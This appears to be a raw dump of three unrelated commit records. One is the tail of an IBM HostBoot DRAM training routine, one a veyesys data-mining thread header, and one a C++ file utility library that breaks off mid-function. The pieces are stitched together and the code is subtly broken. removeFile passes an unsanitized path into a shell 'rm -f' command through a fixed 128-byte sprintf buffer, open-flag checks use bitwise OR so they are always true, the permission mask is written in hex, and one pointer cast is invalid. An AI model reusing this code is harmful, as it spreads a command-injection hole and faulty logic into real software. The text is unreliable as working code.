5.2.6.3 WC Configuration 2 Register on page 438\n\n \/\/ Get our rank pairs.\n FAPI_TRY( mss::get_rank_pairs(p, l_pairs) );\n\n \/\/ Setup the config register\n \/\/\n \/\/ Grab the attribute which contains the information on what cal steps we should run\n \/\/ if the i_specal_training bits have not been specified.\n if (i_special_training == 0)\n {\n FAPI_TRY( mss::cal_step_enable(p, l_cal_steps_enabled) );\n }\n\n FAPI_DBG(\"cal steps enabled: 0x%x special training: 0x%x\", l_cal_steps_enabled, i_special_training);\n\n \/\/ Check to see if we're supposed to reset the delay values before starting training\n \/\/ don't reset if we're running special training - assumes there's a checkpoint which has valid state.\n if ((l_reset_disable == fapi2::ENUM_ATTR_MSS_DRAMINIT_RESET_DISABLE_ENABLE) && (i_special_training == 0))\n {\n FAPI_TRY( mss::dp16<TARGET_TYPE_MCA>().reset_delay_values(p, l_pairs) );\n }\n\n FAPI_DBG(\"generating calibration CCS instructions: %d rank-pairs\", l_pairs.size());\n\n \/\/ For each rank pair we need to calibrate, pop a ccs instruction in an array and execute it.\n \/\/ NOTE: IF YOU CALIBRATE MORE THAN ONE RANK PAIR PER CCS PROGRAM, MAKE SURE TO CHANGE\n \/\/ THE PROCESSING OF THE ERRORS. (it's hard to figure out which DIMM failed, too) BRS.\n for (auto rp : l_pairs)\n {\n auto l_inst = mss::ccs::initial_cal_command<TARGET_TYPE_MCBIST>(rp);\n\n FAPI_DBG(\"exeecuting training CCS instruction: 0x%llx, 0x%llx\", l_inst.arr0, l_inst.arr1);\n l_program.iv_instructions.push_back(l_inst);\n\n \/\/ We need to figure out how long to wait before we start polling. Each cal step has an expected\n \/\/ duration, so for each cal step which was enabled, we update the CCS program.\n FAPI_TRY( mss::cal_timer_setup(p, l_program.iv_poll, l_cal_steps_enabled) );\n FAPI_TRY( mss::setup_cal_config(p, rp, l_cal_steps_enabled) );\n\n \/\/ In the event of an init cal hang, CCS_STATQ(2) will assert and CCS_STATQ(3:5) = “001” to indicate a\n \/\/ timeout. Otherwise, if calibration completes, FW should inspect DDRPHY_FIR_REG bits (50) and (58)\n \/\/ for signs of a calibration error. If either bit is on, then the DDRPHY_PC_INIT_CAL_ERROR register\n \/\/ should be polled to determine which calibration step failed.\n\n \/\/ If we got a cal timeout, or another CCS error just leave now. If we got success, check the error\n \/\/ bits for a cal failure. We'll return the proper ReturnCode so all we need to do is FAPI_TRY.\n FAPI_TRY( mss::ccs::execute(i_target, l_program, p) );\n FAPI_TRY( mss::process_initial_cal_errors(p) );\n }\n }\n\n fapi_try_exit:\n FAPI_INF(\"End draminit training\");\n return fapi2::current_err;\n }\n}\n<commit_msg>Change PHY PC, RC and DP16 register blocks to functional API<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/p9\/procedures\/hwp\/memory\/p9_mss_draminit_training.C $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2015,2019 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file p9_mss_draminit_training.C\n\/\/\/ @brief Train dram\n\/\/\/\n\/\/ *HWP HWP Owner: Brian Silver <bsilver@us.ibm.com>\n\/\/ *HWP HWP Backup: Andre Marin <aamarin@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 2\n\/\/ *HWP Consumed by: FSP:HB\n\n#include <fapi2.H>\n#include <mss.H>\n\n#include <p9_mss_draminit_training.H>\n\nusing fapi2::TARGET_TYPE_MCBIST;\nusing fapi2::TARGET_TYPE_MCA;\n\nextern \"C\"\n{\n \/\/\/\n \/\/\/ @brief Train dram\n \/\/\/ @param[in] i_target, the McBIST of the ports of the dram you're training\n \/\/\/ @param[in] i_special_training, optional CAL_STEP_ENABLE override. Used in sim, debug\n \/\/\/ @return FAPI2_RC_SUCCESS iff ok\n \/\/\/\n fapi2::ReturnCode p9_mss_draminit_training( const fapi2::Target<TARGET_TYPE_MCBIST>& i_target,\n const uint16_t i_special_training )\n {\n fapi2::buffer<uint16_t> l_cal_steps_enabled = i_special_training;\n\n FAPI_INF(\"Start draminit training\");\n\n uint8_t l_reset_disable = 0;\n FAPI_TRY( mss::draminit_reset_disable(l_reset_disable) );\n\n \/\/ Configure the CCS engine.\n {\n fapi2::buffer<uint64_t> l_ccs_config;\n\n FAPI_TRY( mss::ccs::read_mode(i_target, l_ccs_config) );\n\n \/\/ It's unclear if we want to run with this true or false. Right now (10\/15) this\n \/\/ has to be false. Shelton was unclear if this should be on or off in general BRS\n mss::ccs::stop_on_err(i_target, l_ccs_config, false);\n mss::ccs::ue_disable(i_target, l_ccs_config, false);\n mss::ccs::copy_cke_to_spare_cke(i_target, l_ccs_config, true);\n\n \/\/ Hm. Centaur sets this up for the longest duration possible. Can we do better?\n mss::ccs::cal_count(i_target, l_ccs_config, ~0, ~0);\n\n#ifndef JIM_SAYS_TURN_OFF_ECC\n mss::ccs::disable_ecc(i_target, l_ccs_config);\n#endif\n FAPI_TRY( mss::ccs::write_mode(i_target, l_ccs_config) );\n }\n\n \/\/ Clean out any previous calibration results, set bad-bits and configure the ranks.\n FAPI_DBG(\"MCA's on this McBIST: %d\", i_target.getChildren<TARGET_TYPE_MCA>().size());\n\n for( auto p : i_target.getChildren<TARGET_TYPE_MCA>())\n {\n mss::ccs::program<TARGET_TYPE_MCBIST, TARGET_TYPE_MCA> l_program;\n\n \/\/ Setup a series of register probes which we'll see during the polling loop\n \/\/ Leaving these probes in here as we need them from time to time, but they\n \/\/ take up a lot of sim time, so we like to remove them simply\n#ifdef TRAINING_POLLING_PROBES\n l_program.iv_probes =\n {\n \/\/ One block for each DP16\n {p, \"wr_cntr_status0 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_0},\n {p, \"wr_cntr_status1 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_0},\n {p, \"wr_cntr_status2 (dp16 0)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_0},\n {p, \"wr_lvl_status (dp16 0)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_0},\n\n {p, \"wr_cntr_status0 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_1},\n {p, \"wr_cntr_status1 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_1},\n {p, \"wr_cntr_status2 (dp16 1)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_1},\n {p, \"wr_lvl_status (dp16 1)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_1},\n\n {p, \"wr_cntr_status0 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_2},\n {p, \"wr_cntr_status1 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_2},\n {p, \"wr_cntr_status2 (dp16 2)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_2},\n {p, \"wr_lvl_status (dp16 2)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_2},\n\n {p, \"wr_cntr_status0 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_3},\n {p, \"wr_cntr_status1 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_3},\n {p, \"wr_cntr_status2 (dp16 3)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_3},\n {p, \"wr_lvl_status (dp16 3)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_3},\n\n {p, \"wr_cntr_status0 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS0_P0_4},\n {p, \"wr_cntr_status1 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS1_P0_4},\n {p, \"wr_cntr_status2 (dp16 4)\", MCA_DDRPHY_DP16_WR_CNTR_STATUS2_P0_4},\n {p, \"wr_lvl_status (dp16 4)\", MCA_DDRPHY_DP16_WR_LVL_STATUS0_P0_4},\n };\n#endif\n \/\/ Delays in the CCS instruction ARR1 for training are supposed to be 0xFFFF,\n \/\/ and we're supposed to poll for the done or timeout bit. But we don't want\n \/\/ to wait 0xFFFF cycles before we start polling - that's too long. So we put\n \/\/ in a best-guess of how long to wait. This, in a perfect world, would be the\n \/\/ time it takes one rank to train one training algorithm times the number of\n \/\/ ranks we're going to train. We fail-safe as worst-case we simply poll the\n \/\/ register too much - so we can tune this as we learn more.\n l_program.iv_poll.iv_initial_sim_delay = mss::DELAY_100US;\n l_program.iv_poll.iv_initial_sim_delay = 200;\n l_program.iv_poll.iv_poll_count = 0xFFFF;\n\n \/\/ Returned from set_rank_pairs, it tells us how many rank pairs\n \/\/ we configured on this port.\n std::vector<uint64_t> l_pairs;\n\n#ifdef CAL_STATUS_DOESNT_REPORT_COMPLETE\n \/\/ This isn't correct - shouldn't be setting\n static const uint64_t CLEAR_CAL_COMPLETE = 0x000000000000F000;\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_STATUS_P0, CLEAR_CAL_COMPLETE) );\n#endif\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_ERROR_P0, 0) );\n FAPI_TRY( mss::putScom(p, MCA_DDRPHY_PC_INIT_CAL_CONFIG0_P0, 0) );\n\n \/\/ Disable port fails as it doesn't appear the MC handles initial cal timeouts\n \/\/ correctly (cal_length.) BRS, see conversation with Brad Michael\n FAPI_TRY( mss::change_port_fail_disable(p, mss::ON ) );\n\n \/\/ The following registers must be configured to the correct operating environment:\n\n \/\/ Unclear, can probably be 0's for sim BRS\n \/\/ • Section 5.2.5.10 SEQ ODT Write Configuration {0-3} on page 422\n\n FAPI_TRY( mss::reset_seq_config0(p) );\n FAPI_TRY( mss::reset_seq_rd_wr_data(p) );\n\n FAPI_TRY( mss::reset_odt_config(p) );\n\n \/\/ These are reset in phy_scominit\n \/\/ • Section 5.2.6.1 WC Configuration 0 Register on page 434\n \/\/ • Section 5.2.6.2 WC Configuration 1 Register on page 436\n \/\/ • Section 5.2.6.3 WC Configuration 2 Register on page 438\n\n \/\/ Get our rank pairs.\n FAPI_TRY( mss::get_rank_pairs(p, l_pairs) );\n\n \/\/ Setup the config register\n \/\/\n \/\/ Grab the attribute which contains the information on what cal steps we should run\n \/\/ if the i_specal_training bits have not been specified.\n if (i_special_training == 0)\n {\n FAPI_TRY( mss::cal_step_enable(p, l_cal_steps_enabled) );\n }\n\n FAPI_DBG(\"cal steps enabled: 0x%x special training: 0x%x\", l_cal_steps_enabled, i_special_training);\n\n \/\/ Check to see if we're supposed to reset the delay values before starting training\n \/\/ don't reset if we're running special training - assumes there's a checkpoint which has valid state.\n if ((l_reset_disable == fapi2::ENUM_ATTR_MSS_DRAMINIT_RESET_DISABLE_ENABLE) && (i_special_training == 0))\n {\n FAPI_TRY( mss::dp16::reset_delay_values(p, l_pairs) );\n }\n\n FAPI_DBG(\"generating calibration CCS instructions: %d rank-pairs\", l_pairs.size());\n\n \/\/ For each rank pair we need to calibrate, pop a ccs instruction in an array and execute it.\n \/\/ NOTE: IF YOU CALIBRATE MORE THAN ONE RANK PAIR PER CCS PROGRAM, MAKE SURE TO CHANGE\n \/\/ THE PROCESSING OF THE ERRORS. (it's hard to figure out which DIMM failed, too) BRS.\n for (auto rp : l_pairs)\n {\n auto l_inst = mss::ccs::initial_cal_command<TARGET_TYPE_MCBIST>(rp);\n\n FAPI_DBG(\"exeecuting training CCS instruction: 0x%llx, 0x%llx\", l_inst.arr0, l_inst.arr1);\n l_program.iv_instructions.push_back(l_inst);\n\n \/\/ We need to figure out how long to wait before we start polling. Each cal step has an expected\n \/\/ duration, so for each cal step which was enabled, we update the CCS program.\n FAPI_TRY( mss::cal_timer_setup(p, l_program.iv_poll, l_cal_steps_enabled) );\n FAPI_TRY( mss::setup_cal_config(p, rp, l_cal_steps_enabled) );\n\n \/\/ In the event of an init cal hang, CCS_STATQ(2) will assert and CCS_STATQ(3:5) = “001” to indicate a\n \/\/ timeout. Otherwise, if calibration completes, FW should inspect DDRPHY_FIR_REG bits (50) and (58)\n \/\/ for signs of a calibration error. If either bit is on, then the DDRPHY_PC_INIT_CAL_ERROR register\n \/\/ should be polled to determine which calibration step failed.\n\n \/\/ If we got a cal timeout, or another CCS error just leave now. If we got success, check the error\n \/\/ bits for a cal failure. We'll return the proper ReturnCode so all we need to do is FAPI_TRY.\n FAPI_TRY( mss::ccs::execute(i_target, l_program, p) );\n FAPI_TRY( mss::process_initial_cal_errors(p) );\n }\n }\n\n fapi_try_exit:\n FAPI_INF(\"End draminit training\");\n return fapi2::current_err;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/------------------------------------------------------------------------------\n\/\/ File: mframework.hpp\n\/\/\n\/\/ Desc: Data Mining Framework.\n\/\/\n\/\/ Copyright (c) 2014-2018. veyesys.com All rights reserved.\n\/\/------------------------------------------------------------------------------\n#ifndef __M_FRAME_WORK_HPP__\n#define __M_FRAME_WORK_HPP__\n#include \"utility.hpp\"\n#include \"debug.hpp\"\n#include \"videotype.hpp\"\n#include \"miningtype.hpp\"\n#include \"mmodule.hpp\"\n#include \"factory.hpp\"\n#include <QThread>\n#include <qdebug.h>\n#include \"cppkit\/ck_string.h\"\n#include \"cppkit\/ck_memory.h\"\n#include \"cppkit\/ck_command_queue.h\"\n#include \"cppkit\/ck_dynamic_library.h\"\n#include \"cppkit\/ck_byte_ptr.h\"\n\nusing namespace std;\nusing namespace cppkit;\n\n\/* All the mining data will be post a queue to here,\n Then start a thread to peek the queue to post to each device in factory\n*\/\n\ntypedef command_queue<MiningRet> MModuleRetQueue;\n\ntypedef std::map<int, MiningModule *> MModuleMap;\nclass MFramework:public QThread\n{\n Q_OBJECT\npublic:\n\tinline MFramework(Factory &pFactory);\n\tinline ~MFramework();\npublic:\n\tinline void run();\npublic:\n\tinline static BOOL RetHandler(s32 id, MiningRet& ret, void * pParam);\n\tinline BOOL RetHandler1(s32 id, MiningRet& ret);\n\t\t\nprivate:\n\tMModuleMap m_MModules;\n\tMModuleRetQueue m_RetQueue;\n\tBOOL m_bExit;\n};\n\n\nBOOL MFramework::RetHandler(s32 id, MiningRet& ret, void * pParam)\n{\n\tint dummy = errno;\n\tMFramework *pMFramework = (MFramework)pParam;\n\n\tif (pMFramework)\n\t{\n\t\treturn pMFramework->RetHandler1(id, ret);\n\t}\n\n\treturn TRUE;\n}\n\nBOOL MFramework::RetHandler1(s32 id, MiningRet& ret)\n{\n\tm_RetQueue.post(ret);\n\n\treturn TRUE;\n}\n\nvoid MFramework::run()\n{\n\tMiningRet ret;\n\twhile (m_bExit != TRUE)\n\t{\n\t\tif (m_RetQueue.size() > 0)\n\t\t{\n\t\t\tret = m_RetQueue.pop();\n\t\t\t\/\/send the ret va data to factory for showing\n\t\t\tcontinue;\n\t\t}else\n\t\t{\n\t\t\tve_sleep(1000);\n\t\t}\n\t}\n\treturn;\n}\n\n#endif \/* __M_FRAME_WORK_HPP__ *\/\n<commit_msg>add device change api<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ File: mframework.hpp\n\/\/\n\/\/ Desc: Data Mining Framework.\n\/\/\n\/\/ Copyright (c) 2014-2018. veyesys.com All rights reserved.\n\/\/------------------------------------------------------------------------------\n#ifndef __M_FRAME_WORK_HPP__\n#define __M_FRAME_WORK_HPP__\n#include \"utility.hpp\"\n#include \"debug.hpp\"\n#include \"videotype.hpp\"\n#include \"miningtype.hpp\"\n#include \"mmodule.hpp\"\n#include \"factory.hpp\"\n#include <QThread>\n#include <qdebug.h>\n#include \"cppkit\/ck_string.h\"\n#include \"cppkit\/ck_memory.h\"\n#include \"cppkit\/ck_command_queue.h\"\n#include \"cppkit\/ck_dynamic_library.h\"\n#include \"cppkit\/ck_byte_ptr.h\"\n\nusing namespace std;\nusing namespace cppkit;\n\n\/* All the mining data will be post a queue to here,\n Then start a thread to peek the queue to post to each device in factory\n*\/\n\ntypedef command_queue<MiningRet> MModuleRetQueue;\n\ntypedef std::map<int, MiningModule *> MModuleMap;\nclass MFramework:public QThread\n{\n Q_OBJECT\npublic:\n\tinline MFramework(Factory &pFactory);\n\tinline ~MFramework();\npublic:\n\tinline void run();\npublic:\n\tinline static BOOL RetHandler(s32 id, MiningRet& ret, void * pParam);\n\tinline BOOL RetHandler1(s32 id, MiningRet& ret);\npublic:\n\tstatic BOOL DeviceChangeCallbackFunc(void* pData, FactoryDeviceChangeData change);\n\tBOOL DeviceChangeCallbackFunc1(FactoryDeviceChangeData change);\n\nprivate:\n\tMModuleMap m_MModules;\n\tMModuleRetQueue m_RetQueue;\n\tBOOL m_bExit;\n};\n\n\nBOOL MFramework::RetHandler(s32 id, MiningRet& ret, void * pParam)\n{\n\tint dummy = errno;\n\tMFramework *pMFramework = (MFramework)pParam;\n\n\tif (pMFramework)\n\t{\n\t\treturn pMFramework->RetHandler1(id, ret);\n\t}\n\n\treturn TRUE;\n}\n\nBOOL MFramework::RetHandler1(s32 id, MiningRet& ret)\n{\n\tm_RetQueue.post(ret);\n\n\treturn TRUE;\n}\n\nvoid MFramework::run()\n{\n\tMiningRet ret;\n\twhile (m_bExit != TRUE)\n\t{\n\t\tif (m_RetQueue.size() > 0)\n\t\t{\n\t\t\tret = m_RetQueue.pop();\n\t\t\t\/\/send the ret va data to factory for showing\n\t\t\tcontinue;\n\t\t}else\n\t\t{\n\t\t\tve_sleep(1000);\n\t\t}\n\t}\n\treturn;\n}\n\nbool MFramework::DeviceChangeCallbackFunc(void* pData, \n\t\t\t\t\t\t\t\tFactoryDeviceChangeData change)\n{\n\tif (pData)\n\t{\n\t\tMFramework * pthread = (MFramework *)pData;\n\t\tpthread->DeviceChangeCallbackFunc1(change);\n\t}\n\treturn true;\n}\nbool MFramework::DeviceChangeCallbackFunc1(FactoryDeviceChangeData change)\n{\n\tVDC_DEBUG( \"Event Device Change Callback %d type %d Begin\\n\", change.id, change.type);\n\t\n\tif (change.type == FACTORY_DEVICE_OFFLINE)\n\t{\n\n\t}\n\tif (change.type == FACTORY_DEVICE_ONLINE)\n\t{\n\t\t\n\t}\n\tVDC_DEBUG( \"Event Device Change Callback %d type %d End \\n\", change.id, change.type);\n\n\treturn TRUE;\n}\n\n#endif \/* __M_FRAME_WORK_HPP__ *\/\n<|endoftext|>"} {"text":"<commit_before>\/************************************************************************************\n** \n* @copyright (c) 2013-2100, ChengDu Duyer Technology Co., LTD. All Right Reserved.\n*\n*************************************************************************************\/\n\/**\n* @GFile\tg_file.cpp\n* @version \n* @brief \n* @author\tduye\n* @date\t\t2013-06-20\n* @note\n*\n* 1. 2013-06-20 duye Created this GFile\n* \n*\/\n#include <stdarg.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n#include <g_file.h>\n\nusing namespace gsys;\n\n\/\/ default create GFile permissions\nstatic const GUint32 G_FILE_MASK = 0x775;\n\nGResult FileUtil::createFile(const GInt8* filePath)\n{\n\treturn createFile(filePath, 0);\n}\n\nGResult FileUtil::createFile(const GInt8* filePath, const GUint64& initSize)\n{\n\tGInt32 fd = ::creat(filePath, G_FILE_MASK);\n\tif (fd == -1)\n\t{\n\t\treturn G_NO;\n\t}\n\n\tif (ftruncate(fd, initSize) == -1)\n\t{\n\t\t::close(fd);\n\t\treturn G_NO;\n\t}\n\n\t::close(fd);\n\n\treturn G_YES;\n}\n\nbool FileUtil::isExist(const GInt8* filePath)\n{\n\tif (filePath == nullptr)\n {\n \treturn false;\n }\n \n\tif (access(filePath, 0) < 0)\n {\n \treturn false;\n }\n\n return true;\n}\n\nGResult FileUtil::removeFile(const GInt8* filePath)\n{\n\tif (filePath == nullptr)\n\t{\n\t\treturn G_NO;\n\t}\n\t\n\tGInt8 cmd[128] = {0};\n\tsprintf(cmd, \"rm %s -f\", filePath);\n\treturn System::shell(cmd);\n}\n\nFile::File() : m_fd(-1), m_flags(0), m_pathLen(0)\n{\n\tm_error[0] = 0;\n\tm_path[0] = 0;\n}\n\nFile::File(const GInt8* filePath) : m_fd(-1), m_flags(0), m_pathLen(0)\n{\n\tGUint32 len = strlen(filePath);\n\tif (len < G_PATH_MAX)\n\t{\n\t\tmemcpy(m_path, filePath, len);\n\t\tm_path[len] = 0;\n\t\tm_pathLen = len;\n\t}\n\n\tm_error[0] = 0;\n}\n\nFile::~File() \n{\n\tclose();\n}\n\nGResult File::open(const FileOpenFlags fileOpenFlags)\n{\n\treturn open(fileOpenFlags, G_FILE_MASK); \n}\n\nGResult File::open(const FileOpenFlags fileOpenFlags, const GInt32 mode)\n{\n\tGInt32 openFlags = 0;\n\tif (fileOpenFlags | G_OPEN_READ)\n\t{\n\t\topenFlags = O_RDONLY;\n\t}\n\telse if (fileOpenFlags | G_OPEN_WRITE)\n\t{\n\t\topenFlags = O_WRONLY | O_CREAT;\n\t}\n\telse if (fileOpenFlags | G_OPEN_RDWR)\n\t{\n\t\topenFlags = O_RDWR | O_CREAT; \n\t}\n\telse if (fileOpenFlags | G_OPEN_APPEND)\n\t{\n\t\tif (openFlags == 0)\n\t\t{\n\t\t\treturn G_NO;\n\t\t}\n\n\t\topenFlags |= O_APPEND;\n\t}\n\n\tif (openFlags == 0)\n\t{\n\t\tsetError(\"input open mode error\");\n\t\treturn G_NO;\n\t}\n\n\treturn orgOpen(openFlags, mode); \n}\n\nGResult File::close()\n{\n\tif (m_fd < 0)\n\t{\n\t\tsetError(\"file don't open\");\n\t\treturn G_NO;\n\t}\n\n\tGResult ret = (::close(m_fd) != -1 ? G_YES : G_NO);\n\n\tm_fd = -1;\n\tm_path[0] = 0;\n\tm_flags = 0;\n\n\treturn ret;\n}\n\nGInt64 File::getSize()\n{\n\tif (m_fd <= 0)\n\t{\n\t\tsetError(\"file don't open\");\n\t\treturn G_NO;\n\t} \n\n struct stat\tfileStat;\n\tfstat(m_fd, &fileStat); \n\n\treturn (GInt64)(fileStat.st_size);\n}\n\nGInt64 File::seek(const GInt64 offset, const FileSeekFlags& flags)\n{\n\tif (m_fd <= 0)\n\t{\n\t\tsetError(\"file don't open\");\n\t\treturn G_NO;\n\t} \n\n\tGInt32 sysFlags = -1;\n\n\tswitch(flags)\n\t{\n\tcase G_SEEK_BEG:\n\t\tsysFlags = SEEK_SET;\n\t\tbreak;\n\tcase G_SEEK_CUR:\n\t\tsysFlags = SEEK_CUR;\n\t\tbreak;\n\tcase G_SEEK_END:\n\t\tsysFlags = SEEK_END;\n\t\tbreak;\n\tdefault:\n\t\treturn G_NO;\n\t\tbreak;\n\t}\n\n\treturn ::lseek(m_fd, offset, sysFlags);\n}\n\nGInt64 File::tell()\n{\n\treturn seek(0, G_SEEK_CUR);\n}\n\nGInt64 File::read(GInt8* buffer, const GUint64 size)\n{\n\tif (buffer == NULL || size <= 0)\n\t{\n\t\tsetError(\"input parameter is error\");\n\t\treturn G_NO; \n\t}\n\n\tif (m_fd <= 0)\n\t{\n\t\tsetError(\"file don't open\");\n\t\treturn G_NO;\n\t}\n\n\treturn ::read(m_fd, buffer, size);\n}\n\nGInt64 File::write(const GInt8* data, const GUint64 length)\n{\n\tif (data == NULL || length <= 0)\n\t{\n\t\tsetError(\"input parameter is error\");\n\t\treturn G_NO; \n\t}\n\n\tif (m_fd <= 0)\n\t{\n\t\tsetError(\"file don't open\");\n\t\treturn G_NO;\n\t}\n\n\treturn ::write(m_fd, data, length);\n}\n\nGInt8* File::getError()\n{\n\treturn m_error;\n}\n\nGResult File::orgOpen(const GInt32 flags, const GUint32 mode)\n{ \n\tif (m_fd > 0)\n\t{\n\t\tsetError(\"file had opened\");\n\t\treturn G_NO;\n\t}\n\n\tif (m_pathLen == 0)\n\t{\n\t\tsetError(\"hasn't set file path\");\n\t\treturn G_NO; \n\t}\n\n\tm_fd = ::open(m_path, flags, mode);\n\tif (m_fd > 0)\n\t{\n\t\tm_flags = flags;\n\t}\n\telse\n\t{\n\t\tsetError(\"open file failed, check whether exist this file path\");\n\t}\n\n\treturn (m_fd != -1 ? true : false);\n}\n\nvoid File::setError(const GInt8* args, ...)\n{\n\tSystem::pformat(m_error, G_ERROR_BUF_SIZE, args);\n}\n<commit_msg>Update g_file.cpp<commit_after>\/************************************************************************************\n** \n* @copyright (c) 2013-2100, ChengDu Duyer Technology Co., LTD. All Right Reserved.\n*\n*************************************************************************************\/\n\/**\n* @GFile g_file.cpp\n* @version \n* @brief \n* @author duye\n* @date\t 2013-06-20\n* @note\n*\n* 1. 2013-06-20 duye Created this GFile\n* \n*\/\n#include <stdarg.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n#include <g_file.h>\n\nnamespace gsys {\n\n\/\/ default create GFile permissions\nstatic const GUint32 G_FILE_MASK = 0x775;\n\nGResult FileUtil::createFile(const GInt8* filePath)\n{\n return createFile(filePath, 0);\n}\n\nGResult FileUtil::createFile(const GInt8* filePath, const GUint64& initSize)\n{\n GInt32 fd = ::creat(filePath, G_FILE_MASK);\n if (fd == -1)\n {\n \treturn G_NO;\n }\n\n if (ftruncate(fd, initSize) == -1)\n {\n \t::close(fd);\n \treturn G_NO;\n }\n\n ::close(fd);\n\n return G_YES;\n}\n\nbool FileUtil::isExist(const GInt8* filePath)\n{\n if (filePath == nullptr)\n {\n \treturn false;\n }\n \n if (access(filePath, 0) < 0)\n {\n \treturn false;\n }\n\n return true;\n}\n\nGResult FileUtil::removeFile(const GInt8* filePath)\n{\n if (filePath == nullptr)\n {\n \treturn G_NO;\n }\n\t\n GInt8 cmd[128] = {0};\n sprintf(cmd, \"rm %s -f\", filePath);\n return System::shell(cmd);\n}\n\nFile::File() : m_fd(-1), m_flags(0), m_pathLen(0)\n{\n m_error[0] = 0;\n m_path[0] = 0;\n}\n\nFile::File(const GInt8* filePath) : m_fd(-1), m_flags(0), m_pathLen(0)\n{\n GUint32 len = strlen(filePath);\n if (len < G_PATH_MAX)\n {\n \tmemcpy(m_path, filePath, len);\n \tm_path[len] = 0;\n \tm_pathLen = len;\n }\n \n m_error[0] = 0;\n}\n\nFile::~File() \n{\n close();\n}\n\nGResult File::open(const FileOpenFlags fileOpenFlags)\n{\n return open(fileOpenFlags, G_FILE_MASK); \n}\n\nGResult File::open(const FileOpenFlags fileOpenFlags, const GInt32 mode)\n{\n GInt32 openFlags = 0;\n if (fileOpenFlags | G_OPEN_READ)\n {\n \topenFlags = O_RDONLY;\n }\n else if (fileOpenFlags | G_OPEN_WRITE)\n {\n openFlags = O_WRONLY | O_CREAT;\n }\n else if (fileOpenFlags | G_OPEN_RDWR)\n {\n \topenFlags = O_RDWR | O_CREAT; \n }\n else if (fileOpenFlags | G_OPEN_APPEND)\n {\n \tif (openFlags == 0)\n \t{\n return G_NO;\n \t}\n openFlags |= O_APPEND;\n }\n\n if (openFlags == 0)\n {\n \tsetError(\"input open mode error\");\n \treturn G_NO;\n }\n\n return orgOpen(openFlags, mode); \n}\n\nGResult File::close()\n{\n if (m_fd < 0)\n {\n setError(\"file don't open\");\n return G_NO;\n }\n\n GResult ret = (::close(m_fd) != -1 ? G_YES : G_NO);\n\n m_fd = -1;\n m_path[0] = 0;\n m_flags = 0;\n\n return ret;\n}\n\nGInt64 File::getSize()\n{\n if (m_fd <= 0)\n {\n \tsetError(\"file don't open\");\n \treturn G_NO;\n } \n\n struct stat\tfileStat;\n fstat(m_fd, &fileStat); \n\n return (GInt64)(fileStat.st_size);\n}\n\nGInt64 File::seek(const GInt64 offset, const FileSeekFlags& flags)\n{\n if (m_fd <= 0)\n {\n \tsetError(\"file don't open\");\n \treturn G_NO;\n } \n\n GInt32 sysFlags = -1;\n\n switch(flags)\n {\n\tcase G_SEEK_BEG:\n sysFlags = SEEK_SET;\n break;\n\tcase G_SEEK_CUR:\n sysFlags = SEEK_CUR;\n break;\n\tcase G_SEEK_END:\n sysFlags = SEEK_END;\n break;\n\tdefault:\n\t return G_NO;\n\t break;\n }\n\n return ::lseek(m_fd, offset, sysFlags);\n}\n\nGInt64 File::tell()\n{\n return seek(0, G_SEEK_CUR);\n}\n\nGInt64 File::read(GInt8* buffer, const GUint64 size)\n{\n if (buffer == NULL || size <= 0)\n {\n \tsetError(\"input parameter is error\");\n \treturn G_NO; \n }\n\n if (m_fd <= 0)\n {\n \tsetError(\"file don't open\");\n \treturn G_NO;\n }\n\n return ::read(m_fd, buffer, size);\n}\n\nGInt64 File::write(const GInt8* data, const GUint64 length)\n{\n if (data == NULL || length <= 0)\n {\n \tsetError(\"input parameter is error\");\n \treturn G_NO; \n }\n\n if (m_fd <= 0)\n {\n setError(\"file don't open\");\n return G_NO;\n }\n\n return ::write(m_fd, data, length);\n}\n\nGInt8* File::getError()\n{\n return m_error;\n}\n\nGResult File::orgOpen(const GInt32 flags, const GUint32 mode)\n{ \n if (m_fd > 0)\n {\n \tsetError(\"file had opened\");\n \treturn G_NO;\n }\n\n if (m_pathLen == 0)\n {\n \tsetError(\"hasn't set file path\");\n \treturn G_NO; \n }\n\n m_fd = ::open(m_path, flags, mode);\n if 